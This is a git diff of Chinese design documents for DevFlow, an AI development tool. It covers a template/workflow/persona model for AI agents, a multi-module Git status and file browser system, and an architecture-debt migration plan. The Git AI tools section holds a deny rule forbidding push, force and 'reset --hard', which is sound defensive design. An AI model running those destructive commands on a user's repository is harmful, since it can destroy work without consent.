| [AI原生上下文地图与去AI化进化系统-2026-06-26.md](./专项设计/AI原生上下文地图与去AI化进化系统-2026-06-26.md) | 📐 设计 | AI 原生上下文地图:语义索引 / 去 AI 化渐进演进路径 |
| [项目知识图谱与任务队列系统-2026-06-26.md](./专项设计/项目知识图谱与任务队列系统-2026-06-26.md) | 📐 设计 | 项目级知识图谱 + 任务队列:依赖解析 / 优先级调度 |
| [工程系统设计-2026-06-29.md](./专项设计/工程系统设计-2026-06-29.md) | ✅ 已落地 | 项目多工程(Module) + Git 状态查询 + 文件浏览器 + Git AI 工具(只读3+写3) |
| [架构债迁移设计-2026-06-29.md](./专项设计/架构债迁移设计-2026-06-29.md) | 📐 设计草案 | #8/#15/#18/#19 架构债迁移路径(AI状态机抽离/IPC错误结构化/配置统一/连接池) |
--- ---
@@ -97,6 +111,14 @@
| [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 | | [意图识别层论证-2026-06-19.md](./构想审查/意图识别层论证-2026-06-19.md) | 📐 论证(供决策) | 通用前置意图识别层 8 维度论证 + 触发时机 |
| [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) | | [多主题上下文管理愿景-2026-06-19.md](./构想审查/多主题上下文管理愿景-2026-06-19.md) | 💡 远期愿景 | 无感多主题对话:主题检测前置 + 多主题多摘要(关联 F-15 / 意图识别) |
| [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 | | [多主题并存补充论证-多轮模式-2026-06-19.md](./构想审查/多主题并存补充论证-多轮模式-2026-06-19.md) | 📐 论证(供决策) | agentic 多轮模式可突破天花板,但近期结论不变 |
| [跑题改进试验记录-2026-06-20.md](./构想审查/跑题改进试验记录-2026-06-20.md) | 📋 试验记录 | AI Chat 长对话跑题根因治:测试计划+迭代过程+改进前基线+遗留 |
### 根目录文档(不在子目录)
| 文档 | 状态 | 核心内容 |
|---|---|---|
| [单对话并行多轮-设计-2026-06-20.md](./单对话并行多轮-设计-2026-06-20.md) | 📐 设计 | aichat B 路线:单对话内 AI 拆子流并行跑,加速多文件/多方案/多模块对比 |
| [单对话并行多轮-Phase0落地路线图-2026-06-20.md](./单对话并行多轮-Phase0落地路线图-2026-06-20.md) | 📐 路线图 | 承接设计 Phase 1/2/3 实施前必须补齐的机制(Phase 0 = 物理可行性地基) |
--- ---

View File

@@ -1,6 +1,6 @@
# AST 符号解析 — Code Intelligence 设计 # AST 符号解析 — Code Intelligence 设计
> 日期:2026-06-24 | 状态:设计深化(2026-06-24:信息密度三态 + 主题压缩),Phase1 待实施 > 日期:2026-06-24 | 状态:✅ Phase1 已落地(2026-06-28 核验:read_symbol 工具已注册 tool_registry.rs:1506-1547 + 基线测试守护)
> 关联:memory [[devflow-info-density-concept]] / [[devflow-aichat-session-analysis-2026-06-22]] / plan gentle-gliding-book > 关联:memory [[devflow-info-density-concept]] / [[devflow-aichat-session-analysis-2026-06-22]] / plan gentle-gliding-book
## Context(为什么) ## Context(为什么)

View File

@@ -1,7 +1,8 @@
# Agent 架构与能力边界(系统现状记录) — 2026-06-14 # Agent 架构与能力边界(系统现状记录) — 2026-06-14
> 性质: 系统现状盘点 / 能力边界(查实的事实,非构想) > 性质: 系统现状盘点 / 能力边界(查实的事实,非构想)
> 关联: [任务推进设计](任务推进构想-2026-06-14.md)AI 执行层依据本文档能力边界) > 关联: [任务推进设计](../构想审查/任务推进构想-2026-06-14.md)AI 执行层依据本文档能力边界)
> 关联: [三层模型-流程模板与人设体系](../专项设计/三层模型-流程模板与人设体系-2026-06-28.md)(人设层是本架构的下一阶段演进方向)
> 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计 > 用途: 作为「AI 执行层」「AI 自审」等设计的真实能力依据,避免在超出系统现状的能力上做设计
--- ---

View File

@@ -1,6 +1,6 @@
# Patch File 工具设计 # Patch File 工具设计
> 创建: 2026-06-15 | 状态: 设计定稿待实施 | 优先级: P0 > 创建: 2026-06-15 | 状态: ✅ 已落地(2026-06-28 核验) | 优先级: P0
> 关联 todo: F-260615-06 [P0] > 关联 todo: F-260615-06 [P0]
--- ---

View File

@@ -0,0 +1,393 @@
# 三层模型:流程模板 → 工作流 → 人设体系
> 创建: 2026-06-28 | 状态: 设计阶段
> 关联: [Agent架构说明-2026-06-14.md](./Agent架构说明-2026-06-14.md)(当前 Agent 能力边界)
> 关联: [ARCHITECTURE.md](../../../ARCHITECTURE.md)(项目架构总纲,本文为专项展开)
---
## 一、背景与问题
DevFlow 的工作流引擎df-workflow已具备 DAG 定义、拓扑排序、节点调度、状态流转等核心能力。AI Chat 已具备单链 ReAct、工具调用、审批机制。
但现有架构缺少两个关键抽象:
| 缺失 | 导致的问题 |
|------|-----------|
| **流程模板**Template | 工作流定义与具体项目绑定,无法复用标准流程。每个项目需从零搭建 DAG |
| **人设**Persona | 所有 AINode 使用通用 LLM 调用,无角色分工。编码、审查、测试节点行为无差异 |
**解决方案**:引入三层模型——**模板层定义蓝图、工作流层执行实例、人设层注入角色**。
---
## 二、三层模型总览
```
┌──────────────────────────────────────────────────────────┐
│ 模板层 (Template) │
│ "应该做什么" — 可复用的阶段蓝图 │
│ │
│ ├─ 节点 DAG 定义(拓扑 + 类型 + 数据流) │
│ ├─ 建议人设标注persona_hint实例化时可覆盖
│ ├─ 质量门禁condition + on_fail
│ ├─ 产出物规范artifacts 声明) │
│ └─ 存储YAML 文件 / DB 模板库 │
├──────────────────────────────────────────────────────────┤
│ 工作流层 (Workflow) │
│ "怎么执行" — 模板的运行时实例 │
│ │
│ ├─ 模板实例化(绑定具体项目参数、分支名、路径) │
│ ├─ DAG 执行(拓扑排序 + 并行调度 + 状态流转) │
│ ├─ 数据绑定inputs/outputs 按 ID 映射) │
│ ├─ 条件分支condition 求值 → 动态路由) │
│ ├─ 断点续跑(状态快照 + 恢复) │
│ └─ 载体df-workflow现有✅ 核心完成) │
├──────────────────────────────────────────────────────────┤
│ 人设层 (Persona) │
│ "谁来做" — Agent 角色卡 │
│ │
│ ├─ system prompt角色定位、行为规范
│ ├─ allowed_tools该角色可调用的工具集
│ ├─ output_format输出约束
│ ├─ suggested_tier推荐模型层级
│ ├─ behavior rules如"每次输出前先检查..."
│ └─ 注入点AINode 执行时从 NodeContext 读取 persona_id │
└──────────────────────────────────────────────────────────┘
```
### 关键原则
1. **三层独立演化**:模板添加新节点类型、工作流优化调度算法、人设新增角色——互不阻塞
2. **交汇点单一**:三层只在 AINode 执行时交汇——工作流传递 persona_idNode 端根据 id 载入人设配置
3. **模板标注建议而非绑定**:模板只写 `persona_hint: coder`,实例化时可改为 `coder-rust``coder-py`
4. **人设可跨模板复用**`reviewer` 人设既可用于"功能开发模板"的审查节点,也可用于"Bug 修复模板"的审查节点
---
## 三、流程模板Template Layer
### 3.1 数据结构
```yaml
# templates/feature-dev.yaml
id: feature-dev # 模板唯一标识
name: 功能开发模板 # 显示名称
description: 标准功能开发全流程 # 描述
template_version: 1 # 模板版本(用于升级检测)
tags: ["feature", "standard"] # 分类标签
nodes:
- id: analysis # 节点 ID
type: ai # 节点类型ai / script / human / subflow
persona_hint: analyst # 建议人设(实例化时可覆盖)
prompt: "分析需求:{{inputs.requirement}}" # 提示词
inputs: # 数据输入映射
requirement: "$ctx.requirement" # $ctx = 工作流上下文参数
outputs: # 输出声明
prd: text
config: # 节点级配置(覆盖默认)
temperature: 0.3
- id: design
type: ai
persona_hint: architect
prompt: "基于 PRD 设计架构:{{inputs.analysis.prd}}"
inputs:
analysis: "$nodes.analysis" # $nodes = 上游节点输出
outputs:
arch_doc: text
- id: coding
type: ai
persona_hint: coder
prompt: "实现:{{inputs.design.arch_doc}}"
inputs:
design: "$nodes.design"
outputs:
code: text
- id: review
type: ai
persona_hint: reviewer
prompt: "审查代码:{{inputs.coding.code}}"
inputs:
coding: "$nodes.coding"
- id: test
type: script
prompt: "" # Script 节点用 command
command: "cargo test"
timeout_secs: 300
- id: release
type: human
prompt: "确认发布到生产?"
edges: # 显式边定义(可选,缺省按 nodes 顺序连接)
- from: analysis
to: design
- from: design
to: coding
- from: coding
to: review
- from: review
to: test
- from: test
to: release
conditions: # 条件分支
- node: review
if: "output.verdict != 'pass'"
goto: coding # 审查不通过,回编码节点
quality_gates: # 质量门禁
- node: review
condition: "output.verdict == 'pass'"
on_fail: "block" # block / goto / warn
- node: test
condition: "output.exit_code == 0"
on_fail: "goto coding"
artifacts: # 产出物声明
prd: "$nodes.analysis.prd"
arch: "$nodes.design.arch_doc"
code: "$nodes.coding.code"
review_report: "$nodes.review.text"
```
### 3.2 模板实例化流程
```
① 用户选择模板(如"功能开发模板"
② 填写实例化参数:
├─ project_id: 绑定到哪个项目
├─ requirement: 需求描述(注入 $ctx.requirement
├─ persona_overrides: 按节点覆盖人设
│ └─ coding → coder-rust该项目是 Rust 后端)
└─ branch: feature/search绑定 Git 分支)
③ 实例化引擎执行:
├─ 复制 DAG 拓扑
├─ 绑定数据映射(替换 $ctx / $nodes 占位符)
├─ 应用人设覆盖
├─ 创建 WorkflowRun状态 = pending
└─ 写入 DBworkflow_runs + workflow_nodes 表)
④ 工作流引擎调度执行
```
### 3.3 内置模板清单
| 模板 ID | 名称 | 适用场景 | 节点链 |
|---------|------|---------|--------|
| `feature-dev` | 功能开发 | 新增功能 | 需求分析 → 架构设计 → 编码 → 审查 → 测试 → 发布 |
| `bug-fix` | Bug 修复 | 缺陷修复 | 问题复现 → 根因分析 → 修复编码 → 回归测试 → 发布 |
| `algorithm-dev` | 算法开发 | 算法类功能 | 需求分析 → 算法设计 → 实现 → 基准测试 → 验证 → 发布 |
| `refactor` | 代码重构 | 重构优化 | 代码分析 → 重构计划 → 编码 → 审查 → 回归测试 |
> 模板为内置预设,用户可自定义模板(复制内置模板修改后存为用户模板)。
---
## 四、人设层Persona Layer
### 4.1 数据结构
```rust
/// 智能体人设 — Agent 角色卡
pub struct AgentPersona {
/// 人设标识(如 "coder-rust"、"reviewer"
pub id: PersonaId,
/// 人设名称
pub name: String,
/// 人设描述
pub description: String,
/// 系统提示词(核心——定义 Agent 的角色、行为规范)
pub system_prompt: String,
/// 可用工具列表(空 = 继承自父级配置)
pub allowed_tools: Vec<ToolName>,
/// 推荐模型层级
pub suggested_tier: ModelTier,
/// 输出格式约束
pub output_format: OutputFormat,
/// 行为规则
pub rules: Vec<BehaviorRule>,
/// Few-shot 样例
pub examples: Vec<PersonaExample>,
}
/// 行为规则
pub struct BehaviorRule {
pub rule_type: RuleType, // PreCheck / PostCheck / Constraint
pub description: String,
pub check_prompt: String, // AI 检查提示
}
/// 输出格式约束
pub enum OutputFormat {
FreeText,
Markdown,
Json { schema: Value },
Code { language: String },
}
```
### 4.2 内置人设清单
| 人设 ID | 名称 | 核心 system_prompt 要点 | 建议工具 |
|---------|------|------------------------|---------|
| `analyst` | 需求分析师 | 拆解用户故事、识别歧义、输出 PRD | read_file, search_knowledge |
| `architect` | 系统架构师 | 模块划分、接口设计、技术选型 | read_file, search_knowledge, write_file |
| `coder-rust` | Rust 工程师 | 类型安全、错误处理、性能优先 | read_file, write_file, search_code, list_directory, run_command |
| `coder-ts` | TS/前端工程师 | 组件复用、类型定义、响应式 | read_file, write_file, search_code, list_directory, run_command |
| `reviewer` | 代码审查员 | 安全漏洞、性能问题、CRITICAL/MAJOR/MINOR | read_file, search_code, git_diff |
| `tester` | 测试工程师 | 边界条件、覆盖率、测试隔离 | read_file, write_file, run_command |
| `algorithm` | 算法工程师 | 复杂度分析、精度对比、优化策略 | read_file, write_file, run_command, benchmark |
| `devops` | DevOps 工程师 | 容器化、CI/CD、监控告警 | read_file, write_file, run_command |
### 4.3 人设的内部结构persona.rs 设计)
```rust
// crates/df-ai/src/persona.rs新建
pub struct PersonaRegistry {
builtins: HashMap<PersonaId, AgentPersona>,
customs: HashMap<PersonaId, AgentPersona>,
}
impl PersonaRegistry {
pub fn new() -> Self { /* 载入内置人设 */ }
pub fn get(&self, id: &PersonaId) -> Option<&AgentPersona>;
pub fn register(&mut self, persona: AgentPersona); // 注册自定义人设
pub fn list(&self) -> Vec<&AgentPersona>;
pub fn get_system_prompt(&self, id: &PersonaId) -> Option<&str>;
pub fn filter_tools(&self, id: &PersonaId, all_tools: &[ToolDef]) -> Vec<ToolDef>;
}
```
### 4.4 人设注入时机
人设在两个入口注入,覆盖不同的使用场景:
```
场景 A: Workflow AINode 执行
DAG Executor → AiNode::execute()
→ NodeContext 中有 persona_id来自模板实例化
→ AiNode 调用 PersonaRegistry::get(persona_id)
→ 将 persona.system_prompt 附加到 LLM prompt 头部
→ 将 persona.allowed_tools 传入工具选择器
→ 执行 LLM complete()
场景 B: AI Chat Agentic Loop
run_agentic_loop()
→ 根据 intent 识别结果自动选人设
→ Code Intent → 自动绑定 coder 人设
→ 绑定后: system_prompt = coder.system_prompt
→ 绑定后: 工具面板 = coder.allowed_tools
→ 执行 ReAct 循环(带人设约束)
```
---
## 五、三层在现有代码中的落地映射
### 5.1 新增与修改文件清单
| 文件 | 操作 | 说明 |
|------|------|------|
| `crates/df-ai/src/persona.rs` | **新建** | AgentPersona 结构体 + PersonaRegistry + 内置人设 |
| `crates/df-ai/src/lib.rs` | 修改 | 导出 `pub mod persona` |
| `crates/df-ai/src/coordinator.rs` | 修改 | 从空壳变为人设调度器——给子任务分配人设 |
| `crates/df-nodes/src/ai_node.rs` | 修改 | execute() 中读取 `NodeContext``persona_id`,加载人设配置 |
| `crates/df-workflow/src/node.rs` | 修改 | `NodeContext` 新增 `persona_id: Option<PersonaId>` 字段 |
| `crates/df-types/src/types.rs` | 修改 | 新增 `PersonaId` 类型 |
| `src-tauri/src/commands/ai/agentic.rs` | 修改 | `run_agentic_loop` 根据 intent 自动选人设 |
| `src-tauri/src/commands/ai/tool_registry.rs` | 修改 | 工具注册表支持按人设过滤 |
### 5.2 现有三条路径如何汇合
```
┌──────────────────────┐
│ 模板YAML
│ persona_hint: coder │
└──────────┬───────────┘
│ 实例化
┌──────────────────────┐
│ 工作流实例 │
│ NodeContext { │
│ persona_id: "coder"│
│ } │
└──────────┬───────────┘
│ 执行到 AINode
┌──────────────────────────────────────────────┐
│ AiNode::execute() │
│ ├─ 从 ctx.persona_id 查到人设配置 │
│ ├─ 拼接 system_prompt → LLM │
│ ├─ 限制工具集 → allowed_tools │
│ └─ 输出格式约束 → output │
└──────────────────────────────────────────────┘
```
---
## 六、与现有 Agent 架构的关系
current [Agent架构说明-2026-06-14.md](./Agent架构说明-2026-06-14.md) 提到的四个"无"中,人设层直接回应了以下问题:
| 原缺口 | 人设层如何解决 |
|--------|---------------|
| coordinator 空壳 | 人设调度是 coordinator 的第一个实现步骤:子任务按类型分配人设 |
| 单链 ReAct 无角色区分 | 人设注入后,同一 loop 按绑定的人设输出不同风格的响应 |
| Agent 能力边界模糊 | 人设的 `allowed_tools` 显式声明能力边界,"能做什么"由人设而非通用配置决定 |
> 人设层不解决所有缺口如执行类工具、MCP 外部工具),但它是多 Agent 协作的第一步。
---
## 七、Phase 落地建议
### Phase A数据结构 + 内置人设(单独推进,不阻塞其他任务)
```
目标: 定义 AgentPersona 结构体 + 5 个内置人设 + PersonaRegistry
文件: crates/df-ai/src/persona.rs
验证: PersonaRegistry::get("coder") 返回正确的人设配置
```
### Phase BAINode 接入人设
```
目标: AINode 执行时从 NodeContext 读 persona_id拼接 system_prompt
文件: crates/df-workflow/src/node.rs + crates/df-nodes/src/ai_node.rs
验证: 带 persona_id 的 AiNode 输出带有人设风格的文本
```
### Phase C流程模板系统
```
目标: YAML 模板定义 + 实例化引擎(模板 → 工作流 DAG
文件: df-workflow 新增模板加载逻辑
验证: 加载 feature-dev.yaml → 实例化为带 persona_hint 的 DAG
```
### Phase DAI Chat 接入人设
```
目标: run_agentic_loop 根据 intent 自动选人设,工具面板按人设过滤
文件: src-tauri/commands/ai/agentic.rs + tool_registry.rs
验证: Code Intent 下只暴露编码相关工具
```
---
## 八、设计决策
| 决策 | 选项 | 结论 | 理由 |
|------|------|------|------|
| 人设定义位置 | 编译期 vs 运行时 | 编译期内置 + 运行时扩展 | 内置人设保证基线质量,扩展性留给插件机制 |
| 模板格式 | YAML vs JSON vs Rust DSL | YAML | 人类可读写,适合非开发者定义模板 |
| 人设与 model 的关系 | 人设绑定 model vs 分离 | 分离(人设只建议 `suggested_tier` | 模型选择由调用方决定,人设不越界 |
| 模板实例化时机 | 启动时 vs 使用时 | 使用时lazy instantiation | 启动时加载数百模板影响冷启动 |

View File

@@ -1,6 +1,6 @@
# 全局事件数据总线设计 # 全局事件数据总线设计
> 2026-06-21 · 专项设计 · 状态:构想定稿待评审 > 2026-06-21 · 专项设计 · 状态:🟡 部分落地(2026-06-28 核验:基建(AI/工作流两路总线)+ 20+ emit 点双写就位,但真实订阅方/前端镜像/tunnel 透传均未接入空转。阶段 2-6 待真实痛点驱动)
> 关联:[[cross-end-rust-backend]] 三层跨端 / [[devflow-product-positioning]] ai-working 可扩展 / F-260620-01 跨端小程序 > 关联:[[cross-end-rust-backend]] 三层跨端 / [[devflow-product-positioning]] ai-working 可扩展 / F-260620-01 跨端小程序
## 背景与动机 ## 背景与动机

View File

@@ -3,7 +3,7 @@
> **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。 > **真相源**(本文档唯一展开完整设计)。功能决策记录仅放摘要 + 指针。
> >
> 背景R-PD-1全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。 > 背景R-PD-1全局代码 review 2026-06-15 §🔴 P1 需设计)— 编辑 provider 提交空 `api_key` 时,无条件把 DB `api_key` 置空走 `INSERT OR REPLACE`**未迁移态** provider 的明文密钥被静默覆盖成空 → keyring 也空 → resolve 返空 → provider 报废,密钥永久丢失。
> 状态:📐 **设计完成,未实施** | 创建2026-06-15 | 来源:全局代码 review 2026-06-15 > 状态: **已落地**(2026-06-28 核验:provider.rs:104-136 即时迁移补密钥 + 阻断保存 + secret.rs 启动迁移) | 创建2026-06-15 | 来源:全局代码 review 2026-06-15
--- ---

View File

@@ -2,7 +2,7 @@
> 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2 > 来源:全局代码 review 2026-06-15 §🔴 P1 需设计 R-PD-2
> 日期2026-06-15 > 日期2026-06-15
> 状态:设计待核对(推荐方案已定,落地前需用户确认力度) > 状态:✅ 已落地(2026-06-28 核验:ScriptNode 命令执行安全边界 — env 白名单/黑名单 + 危险关键词告警,script_node.rs:40-155)
--- ---

View File

@@ -0,0 +1,224 @@
# 工程系统设计 — 项目多工程 + Git 状态 + 文件浏览
> 创建: 2026-06-29 | 状态: ✅ Batch 9-13 已落地(工程表+文件浏览器+Git 状态/变更/提交历史)
> 关联: [项目知识图谱与任务队列系统-2026-06-26.md](./项目知识图谱与任务队列系统-2026-06-26.md) / ARCHITECTURE.md
---
## 一、背景
DevFlow 的项目(Project)当前只能绑定一个目录(projects.path)。现实中的项目经常包含多个工程(Module):Monorepo 多仓库、微服务多服务、前后端分离等。每个工程是独立的代码仓库(各自的 .git),有自己的 Git 远程地址和技术栈。
引入工程(Module)概念,使 AI 和用户都能以工程为粒度操作代码仓库。
---
## 二、两级结构
```
项目(Project) ← 业务实体("支付平台")
├── 工程(Module) ← 代码仓库("后端 API" / "前端 Web")
│ ├── 工程目录(path)
│ ├── Git 地址(git_url)
│ ├── 技术栈(stack)
│ └── Git 状态(实时派生,不存表)
├── 工程(Module)
└── 工程(Module)
```
单仓库项目 = 项目下只有一个工程(退化场景,UI 不显式展示工程层级)。
---
## 三、数据模型
### 3.1 project_modules 表(V34 迁移)
```sql
CREATE TABLE project_modules (
id TEXT PRIMARY KEY,
project_id TEXT NOT NULL REFERENCES projects(id),
name TEXT NOT NULL, -- "后端 API"
path TEXT NOT NULL, -- 工程目录(绝对路径)
git_url TEXT, -- Git 远程地址(可选)
stack TEXT, -- 技术栈 JSON(["rust","tokio","postgresql"])
auto_detected BOOLEAN NOT NULL DEFAULT FALSE, -- 自动探测创建(重新探测时覆盖,用户编辑后不回写)
sort_order INTEGER NOT NULL DEFAULT 0,
created_at TEXT NOT NULL,
updated_at TEXT NOT NULL
);
CREATE INDEX idx_project_modules_project ON project_modules(project_id);
```
### 3.2 设计原则
| 字段 | 来源 | 说明 |
|---|---|---|
| name | 用户/探测 | 工程名称 |
| path | 用户 | 工程目录(必填,等于 .git 所在目录) |
| git_url | 用户 | Git 远程地址(可选,单机可不填) |
| stack | 探测+用户可改 | 技术栈 JSON(探测 Cargo.toml/package.json 填充默认,用户可覆盖) |
| auto_detected | 系统 | true=自动探测创建;重新探测时只覆盖 auto_detected=true 的行 |
| sort_order | 系统 | 列表排序 |
**Git 状态实时派生(不存表)**:分支/改动文件/最近提交 → 查询时跑 git 命令返回。
---
## 四、Git 状态查询
### 4.1 get_module_git_status(module_id) 返回结构
```json
{
"branch": "main",
"remote": "origin",
"changes": {
"modified": 3,
"added": 1,
"untracked": 2,
"total": 6
},
"files": [
{ "path": "src/main.rs", "status": "M" },
{ "path": "Cargo.toml", "status": "M" },
{ "path": "README.md", "status": "??" }
],
"last_commit": {
"hash": "abc1234",
"message": "feat: add login",
"author": "lxy",
"date": "2026-06-29T10:00:00"
}
}
```
### 4.2 实现方式
在工程目录(module.path)执行:
- `git branch --show-current` → 当前分支
- `git remote get-url origin` → 远程地址(与 module.git_url 互补)
- `git status --porcelain` → 改动文件列表(解析为结构化)
- `git log -1 --format=...` → 最近提交
所有 git 命令包 10s timeout。无 .git 目录返回空状态。
---
## 五、文件浏览器(IPC + UI)
### 5.1 get_module_file_tree IPC
```rust
get_module_file_tree(module_id, sub_path?, depth?) FileTreeResponse
```
返回文件列表 + Git 状态合并(一次查询)。文件树懒加载:默认展开 2 层,点击展开加载子目录。
噪音过滤:跳过 node_modules / target / .git / __pycache__ / dist / .vite。
### 5.2 UI 结构(当前)
```
项目详情页 → 文件 Tab
┌─────────────────────────┬──────────────────────────────────────┐
│ [📁] [📝 3] 视图切换 │ 文件内容预览 │
│ ─────────────────────── │ │
│ 📁 文件树/变更列表 │ 行号 │ 代码(语法高亮 + 行号) │
│ src/ │ 1 │ use std::...; │
│ main.rs M │ 2 │ fn main() { │
│ config.rs │ 3 │ println!("hello"); │
│ tests/ │ 4 │ } │
│ Cargo.toml A │ │
│ │ main.rs · 2.1 KB · 📝 查看变更 │
└─────────────────────────┴──────────────────────────────────────┘
```
**视图切换**: 左侧栏顶部两个图标按钮:
- 📁 文件树视图(默认)
- 📝 变更视图(带变更数量角标)
**变更视图**:
- 变更文件列表(按状态分组:已修改/已新增/已删除/未跟踪)
- 文件按目录深度缩进(src/components/Foo.vue → 缩进 2 层)
- 点击文件 → 右侧预览区显示 git diff(红删绿增)
- 顶部 Tab 切换至"历史":展示提交历史(每条显示 hash+主题+时间)
- 初始 50 条,支持"加载更多"分页
- 点击提交行 → 展开该提交的变更文件列表
- 点击变更文件 → 展示该文件的 diff
**内容预览增强**:
- 行号列 + highlight.js 语法高亮(按文件后缀自动选语言)
- 按后缀彩色图标(rs/ts/js/vue/css/html/json/md/sh/sql 等)
- Diff 切换按钮(Git 状态不为空时在头部右侧显示 📝)
- 滚动条在预览区域内部,不溢出页面层
### 5.3 单工程退化
项目只有 1 个工程时不显工程选择器,直接展示文件浏览器。
---
## 六、创建项目适配
create_project 时自动建一个工程:
- name = 项目名
- path = 绑定目录
- stack = 探测结果(复用现有 detect_stack)
- git_url = 探测(git remote get-url origin,失败为 None)
- auto_detected = true
用户后续可添加更多工程(多工程场景)。
---
## 七、AI 工具
### 7.1 只读工具(Batch 9 随数据层一起注册)
| 工具 | 功能 | 风险 |
|---|---|---|
| list_project_modules | 列出项目工程列表 | Low |
| get_module_git_status | 查询工程 Git 状态 | Low |
### 7.2 Git 工具(后续批次)
| 工具 | 功能 | 风险 |
|---|---|---|
| git_status | 工作区状态(结构化) | Low |
| git_diff | 未提交改动详情 | Low |
| git_log | 提交历史 | Low |
| git_commit | 提交改动 | Medium |
| git_branch | 分支管理 | Medium |
| git_merge | 合并分支 | High |
安全边界:禁止 push / force / reset --hard。
---
## 八、实施批次
| 批次 | 内容 |
|---|---|
| Batch 9 | 工程表 + CRUD IPC + Git 状态查询 + 创建项目适配 + AI 工具注册 |
| Batch 10 | 文件浏览器 UI(工程选择 + 文件树 + Git 状态标记 + 内容预览) |
| Batch 11 | Git 只读 AI 工具(status/diff/log) |
| Batch 12 | Git 写 AI 工具(commit/branch/merge) |
| Batch 13 | 文件浏览器增强(行号/图标/Diff/变更面板/窗口分离) |
### Batch 13 新增功能
| 功能 | 说明 |
|---|---|
| 行号显示 | 文件预览左侧显示行号列 |
| 后缀图标 | rs/ts/js/vue/css/html 等 20+ 类型彩色 SVG 图标 |
| Diff 视图 | 有 Git 变更的文件可切换内容/Diff 红绿视图 |
| Git 变更面板 | 文件树侧栏可切换至变更视图,显示变更文件列表(按目录缩进分组) |
| 提交历史分页 | 展示最近 50 条提交,支持加载更多(分页) |
| 提交详情 | 点击提交行展开变更文件列表,点文件查看 Diff |
| 提交时间显示 | 相对时间(刚刚/N分钟前)+超过30天显示具体日期 |
| 窗口分离 | 文件浏览器可弹出独立 Tauri 窗口 |
| 中文编码修复 | git 命令注入 LANG/LC_ALL UTF-8 环境变量 |
| 多工程管理 UI | 工具栏添加工程按钮 + 弹窗表单(名称/路径/Git地址) |
| 文件变更自动刷新 | write_file/patch_file 触发 df-data-changed 事件推送 |

View File

@@ -1,7 +1,7 @@
# 条件表达式引擎设计R-PD-3 / T-260614-11 # 条件表达式引擎设计R-PD-3 / T-260614-11
> 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条 > 来源:全局代码 review `docs/05-代码审查/全局代码review-2026-06-15.md` §🔴 P1 需设计 R-PD-3 + 架构洞察第 4 条
> 性质:设计文档(供用户核对方案),不含实现 > 性质:✅ **已落地**(2026-06-28 核验:ConditionEngine 手写求值器 + JSON Path/嵌套/数组索引/数值比较 + executor feature flag 集成 + 前端边条件编辑入口 + 中英文翻译)
> 关联todo `T-260614-11 条件表达式引擎升级`、R-P2-13set_skipped/set_waiting 已删) > 关联todo `T-260614-11 条件表达式引擎升级`、R-P2-13set_skipped/set_waiting 已删)
--- ---

View File

@@ -0,0 +1,267 @@
# 架构债迁移设计方案2026-06-29
> 创建: 2026-06-29 | 状态: 设计草案
> 关联: [全量走查报告-2026-06-28](../05-代码审查/全量走查报告-2026-06-28.md) §架构缺陷 #4/#6/#8 + SQLite 单连接 #14
> 适用范围: 本次推进剩余项 #8/#15/#18/#19 的迁移路径设计
---
## 一、概览
走查报告识别出 4 项架构债,影响可维护性或扩展性。本设计为每项给出**目标架构 + 迁移路径 + 风险评估****不在本批次实施代码**(每项都需独立 PR + e2e 验证)。
| 编号 | 问题 | 风险 | 建议时机 |
|------|------|------|---------|
| #15 | AI 核心状态机焊死 src-tauri | 高(重构 agentic loop | Phase 4 之前 |
| #8 | IPC 错误拍平为 String | 中(前后端协议改造) | 下个迭代 |
| #18 | 配置四源并存 | 中(跨 crate 改读) | 与 #15 协同 |
| #19 | SQLite 单连接 Mutex | 中DB 层基础) | 性能瓶颈出现时 |
---
## 二、#15 — AI 核心状态机抽离
### 现状
```
src-tauri/src/commands/ai/
├── mod.rs ← AiSession / PerConvState / AiChatEvent / SessionState应属 df-ai
├── agentic/mod.rs ← run_agentic_loop 主循环(应属 df-ai
├── commands.rs ← IPC 层(应留在 src-tauri
├── tool_registry ← 工具注册IPC 层依赖,留在 src-tauri
└── ...
crates/df-ai/src/
├── provider.rs ← LlmProvider trait正确
├── openai_compat.rs ← HTTP正确
├── anthropic_compat.rs← HTTP正确
├── coordinator.rs ← 空壳(应承担 agentic loop
└── ...
```
### 目标架构
```
crates/df-ai-session/ ← 新 crate避免 df-ai 引 reqwest 同时引会话状态)
├── session.rs ← AiSession / PerConvState / SessionState
├── agentic_loop.rs ← run_agentic_loop纯逻辑依赖 LlmProvider trait
├── events.rs ← AiChatEvent enum
└── approvals.rs ← PendingApproval / ApprovalKind
src-tauri/src/commands/ai/
├── mod.rs ← 仅 IPC glueinvoke_handler 注册 + AppState 转发)
├── commands.rs ← ai_send_message / ai_approve / ai_reject
└── tool_registry.rs ← 工具注册(仍依赖 df-storage / df-types
```
### 迁移路径4 阶段)
**阶段 1**:创建 `df-ai-session` crate仅迁移类型定义`AiSession` / `AiChatEvent`不改逻辑。src-tauri 改为 re-export。
**阶段 2**:迁移 `run_agentic_loop` 函数体。保持现有调用方接口不变(`pub async fn run_agentic_loop(...)`),仅改归属。
**阶段 3**:把 tool_registry 中的工具注册逻辑拆分为「工具定义」(可迁移)和「工具 handler」依赖 IPC 层,保留)。
**阶段 4**src-tauri 仅保留 IPC glue所有 AI 状态机测试可在 df-ai-session 独立运行。
### 风险
- **循环依赖**`agentic_loop` 需要 LlmProviderdf-ai-core+ AiToolRegistry。AiToolRegistry 的 handler 依赖 src-tauri 的 storage/commands。**解决**:把 AiToolRegistry trait 下沉到 df-ai-corehandler 实现留在 src-tauri。
- **测试覆盖**:现有 AI 测试都在 src-tauri 集成测试,迁移后需补 df-ai-session 的单测。
---
